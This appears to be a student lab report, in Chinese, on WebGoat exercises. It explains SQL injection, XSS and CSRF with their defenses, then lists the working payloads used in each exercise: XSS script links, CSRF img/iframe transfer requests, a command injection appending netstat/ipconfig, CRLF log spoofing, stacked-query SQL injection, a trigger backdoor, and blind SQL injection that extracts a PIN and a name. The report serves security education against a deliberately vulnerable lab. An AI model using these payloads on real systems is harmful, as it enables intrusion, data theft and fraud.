攻擊原理:web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。web
防護:利用輸入規則限制進行防護,不容許特殊字符輸入。不要使用管理員權限的數據庫鏈接,爲每一個應用使用單獨的權限有限的數據庫鏈接。sql
攻擊原理:XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,因此容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。數據庫
防護:相似於saol注入的防護,永遠不相信用戶的輸入。須要對用戶的輸入進行處理,只容許輸入合法的值,其它值一律過濾掉。若是不能對用戶數據進行嚴格的過濾,那咱們也須要對標籤進行轉換。瀏覽器
攻擊原理:(Cross Site Request Forgery, 跨站域請求僞造)是一種網絡的攻擊方式,它在 2007 年曾被列爲互聯網 20 大安全隱患之一,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用也就是人們所知道的釣魚網站。它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。安全
防護:服務器
經過 referer、token 或者 驗證碼 來檢測用戶提交。cookie
儘可能不要在頁面的連接中暴露用戶隱私信息。網絡
對於用戶修改刪除等操做最好都使用post 操做 。xss
避免全站通用的cookie,嚴格設置cookie的域。web安全
安裝WebGoat的具體過程我就不描述了,我安裝的版本是7.1
在文本框裏寫一個釣魚網站,大體代碼以下:
以後在框中輸入的帳號密碼就會被盜取
成功了。。。
在郵件中用alert
隨便輸入一些什麼。。。
大體效果以下。。
這個比較較簡單吶
反射型XSS,又稱非持久型XSS,這種攻擊方式的注入代碼是從目標服務器經過錯誤信息、搜索結果等等方式「反射」回來的。同時這種攻擊方式具備一次性。攻擊者經過電子郵件等方式將包含注入腳本的惡意連接發送給受害者,當受害者點擊該連接時,注入腳本被傳輸到目標服務器上,而後服務器將注入腳本「反射」到受害者的瀏覽器上,從而在該瀏覽器上執行了這段腳本。
好比攻擊者將以下連接發送給受害者:http://www.targetserver.com/search.asp?input=<script>alert("FB is best");</script>
效果以下:
當受害者點擊這個連接的時候,注入的腳本被看成搜索的關鍵詞發送到目標服務器的search.asp頁面中,則在搜索結果的返回頁面中,這段腳本將被看成搜索的關鍵詞而嵌入。這樣,當用戶獲得搜索結果頁面後,這段腳本也獲得了執行。
這個實踐是利用cookie冒名登陸,用代碼僞造請求
在message裏面輸入<img src="http://localhost:8080/WebGoat/attack?Screen=288&menu=900&transferFunds=4000"/>
就會發出一個轉錢的請求,盜取錢財。(288和900都是題目提供的數據)
交易記錄
在message框中輸入代碼<iframe src="attack?Screen=298&menu=900&transferFunds=10000" id="myFrame" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='attack?Screen=282&menu=900&transferFunds=CONFIRM';">
點擊confirm後,把後面的內容改成transferfunds=CONFIRM,而後就ok了。
按F12,編輯網頁的源代碼,在accesscontrolmatrix.help
後面加上"& netstat -an & ipconfig"
,點擊view後顯示以下界面。。
仍是摁F12,在選擇框內,把代碼改爲以下。。由於1=1是永真式,因此永遠成立。。。
點擊go
便可看到全部地方的天氣。。
在文本框中輸入4307%0d%0aLogin Succeeded for username: admin
攻擊成功
sql注入,在文本框中輸入' or 1=1 --
,點擊go,攻擊成功
stage1:輸入102
獲得102的信息
進行sql注入102; update employee set salary=1500000
,點擊submit。
stage2:建立一個後門,出入如下代碼:
102;CREATE TRIGGER fbBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154307@163.com' WHERE userid = NEW.userid
咱們的目標是查找出pins表中cc_number爲1111222233334444的員工的pin值,提示pin值爲整數。
因而咱們輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > N );
(N爲任意整數)進行判斷,此處能夠採用二分法,慢慢找到該整數爲2364
咱們的目標是猜想cc_number爲4321432143214321的name,name爲varchar。
首先我輸入101;select * from pins where cc_number=4321432143214321 and length(name)=N
(N能夠是任意數),此處仍是用了二分法,最後得出名字字符串的長度是4。
而後101;select * from pins where cc_number=4321432143214321 and substring(name,x,1)='$'
(此處x表明第幾個字母,$能夠是任意大小寫字母)能夠肯定每一個位置上的字母,然而要一個一個測試過去豈不是太麻煩,因此此處咱們仍是採用二分法。。
輸入101;select * from pins where cc_number=4321432143214321 and (substring(name,1,1)>='A' and substring(name,1,1)<='Z' )
,進一步肯定每一位上的字母的範圍,從而肯定他們。。。
最後查找結果爲Jill
。。
本次實驗難度不是很大,每個實驗網上都有對應的教程,即便不理解英文也能在網上找到教學,本次實驗能學習的知識也不少,結合了一些現實場景,爲咱們從此的實戰也打下了必定的基礎。本次實驗仍是挺有意思的,最後一次實驗了,竟然還有點依依不捨。。。。